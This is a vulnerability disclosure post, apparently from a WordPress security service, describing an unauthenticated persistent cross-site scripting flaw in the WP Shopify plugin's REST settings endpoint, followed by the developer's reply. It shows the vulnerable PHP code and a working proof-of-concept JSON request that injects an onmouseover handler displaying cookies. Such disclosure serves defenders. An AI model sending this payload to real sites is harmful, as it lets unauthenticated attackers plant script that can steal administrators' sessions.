Settings Change to Persistent Cross-Site Scripting (XSS) Vulnerability in WP Shopify
Limiting information on vulnerabilities being fixed in WordPress plugins isn’t a great idea as we were reminded of this week when the discoverer of a vulnerability didn’t disclose it until after hackers had started more widely exploiting the vulnerability, leaving most everyone else in the dark about what was going on (customers of our service we were warned before the widespread hacking happened because we do the work to keep ahead of things). Another reason for providing information in a timely manner is that often vulnerabilities haven’t been fully fixed or there are more related vulnerabilities that haven’t been fixed. That is the case with the plugin WP Shopify where when went to look into the possibility that a vulnerability had been fixed we spotted what turned out to be related unfixed vulnerability before we even figured out what the vulnerability fixed was.
The additional vulnerability allows even those not logged in to WordPress to change the plugin’s settings and place malicious JavaScript code in to settings, which is referred to persistent cross-site scripting (XSS). Like an increasing number of vulnerabilities this one involves code that runs through WordPress REST API, which means it is something that would be caught if we had been hired to do a security review of the plugin.
The plugin registers the function update_settings(), which you can probably guess from the name, updates the plugin’s settings, to be accessible through WordPress REST API:
245 246 247 248 | return register_rest_route(WPS_SHOPIFY_API_NAMESPACE, '/settings', [ [ 'methods' => \WP_REST_Server::CREATABLE, 'callback' => [$this, 'update_settings'] |
Since that functionality is intended to be accessed by someone logged in to WordPress there should be a permission callback to restrict access in that registration. That would cause protection against CSRF to be run when trying to access the function as well.
The function, which is located in the file will then /classes/api/settings/class-general.php will update the settings based on user input sent with the request without any security checks first:
123 124 125 126 127 128 129 130 131 | public function update_settings($request) { $new_settings = []; $settings = $request->get_param('settings'); $new_settings['enable_cart_terms'] = $this->setting_to_bool_int($settings, 'wps_settings_general_enable_cart_terms'); $new_settings['cart_terms_content'] = $this->setting_to_terms($settings, 'wps_settings_general_cart_terms_content'); $new_settings['enable_cart_notes'] = $this->setting_to_bool_int($settings, 'wps_settings_general_enable_cart_notes'); $new_settings['cart_notes_placeholder'] = $this->setting_to_string($settings, 'wps_settings_general_cart_notes_placeholder'); |
The last setting shown in that snippet of the function is sanitized using another of the plugin’s function, setting_to_string(), which uses the WordPress function sanitize_text_field():
56 57 58 59 | public function setting_to_string($settings, $name, $default = false) { if (isset($settings[$name]) && !empty($settings[$name])) { return sanitize_text_field(Data::coerce($settings[$name], 'string')); |
sanitize_text_field() doesn’t makes values safe for outputting in HTML attributes, which as the proof of concept below confirms, is where setting values like that one, are output without escaping them.
Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown when mousing over the “Products URL” settings input box.
Send a request to/wp-json/wpshopify/v1/settings with this as the body:
{"settings":{"wps_settings_general_products_url":"\" onmouseover=\"alert(document.cookie)","wps_settings_general_collections_url":"collections","wps_settings_general_num_posts":"10","wps_settings_general_products_link_to_shopify":false,"wps_settings_general_disable_default_pages":false,"wps_settings_general_show_breadcrumbs":false,"wps_settings_general_align_height":false,"wps_settings_general_hide_pagination":false,"wps_settings_general_styles_all":true,"wps_settings_general_styles_core":false,"wps_settings_general_styles_grid":false,"wps_settings_general_price_with_currency":false,"wps_settings_pricing_currency_display_style":"symbol","wps_settings_general_cart_loaded":true,"wps_settings_general_enable_beta":false,"wps_settings_general_enable_cart_terms":false,"wps_settings_general_cart_terms_content":false,"wps_settings_general_enable_cart_notes":false,"wps_settings_general_cart_notes_placeholder":false,"wps_settings_general_save_connection_only":false,"wps_settings_general_related_products_show":true,"wps_settings_general_related_products_sort":"random","wps_settings_general_related_products_amount":"4","wps_settings_general_items_per_request":250,"wps_settings_general_add_to_cart_color":"#14273b","wps_settings_general_variant_color":"#52a7a6","wps_settings_general_checkout_button_color":"#52a7a6","wps_settings_general_cart_icon_color":"#000","wps_settings_general_cart_counter_color":"#6ae06a","wps_settings_general_cart_icon_fixed_color":"#FFF","wps_settings_general_cart_counter_fixed_color":"#FFF","wps_settings_general_cart_fixed_background_color":"#52a7a6","wps_settings_general_products_heading_toggle":true,"wps_settings_general_products_heading":"Products","wps_settings_general_collections_heading_toggle":true,"wps_settings_general_collections_heading":"Collections","wps_settings_general_related_products_heading_toggle":false,"wps_settings_general_related_products_heading":false,"wps_settings_products_images_sizing_toggle":false,"wps_settings_products_images_sizing_width":"0","wps_settings_products_images_sizing_height":"0","wps_settings_products_images_sizing_crop":"center","wps_settings_products_images_sizing_scale":"false","wps_settings_products_thumbnail_images_sizing_toggle":true,"wps_settings_products_thumbnail_images_sizing_width":"70","wps_settings_products_thumbnail_images_sizing_height":"70","wps_settings_products_thumbnail_images_sizing_crop":"center","wps_settings_products_thumbnail_images_sizing_scale":"1","wps_settings_collections_images_sizing_toggle":false,"wps_settings_collections_images_sizing_width":"0","wps_settings_collections_images_sizing_height":"0","wps_settings_collections_images_sizing_crop":"center","wps_settings_collections_images_sizing_scale":"false","wps_settings_related_products_images_sizing_toggle":false,"wps_settings_related_products_images_sizing_width":false,"wps_settings_related_products_images_sizing_height":false,"wps_settings_related_products_images_sizing_crop":false,"wps_settings_related_products_images_sizing_scale":false,"wps_settings_products_compare_at":false,"wps_settings_checkout_enable_custom_checkout_domain":false,"wps_settings_products_show_price_range":true,"wps_settings_checkout_button_target":"_self","wps_settings_show_fixed_cart_tab":false,"wps_settings_synchronous_sync":false,"wps_settings_is_lite_sync":true,"wps_settings_is_syncing_posts":false}}
Hey everyone, this is Andrew the creator of WP Shopify.
A huge thanks to the folks at pluginvulnerabilities.com for finding this flaw. I wish I could have learned about this through the support forums first, but nonetheless, I’m still glad it was found.
I’m working on fixing this over the next couple days so a patch should be released soon. In the meantime, WordPress has taken the plugin off the repository temporarily. I’m hoping to have it back up by the end of next week.
Thanks again for helping make this plugin better!
Update:
I’ve fixed the core issue and I’m just waiting for the WordPress team to verify the update. Once they do, the plugin will be back on the repository. They say it could take up to 5 days.
In the meantime, let me know if you have any other questions. Happy to help!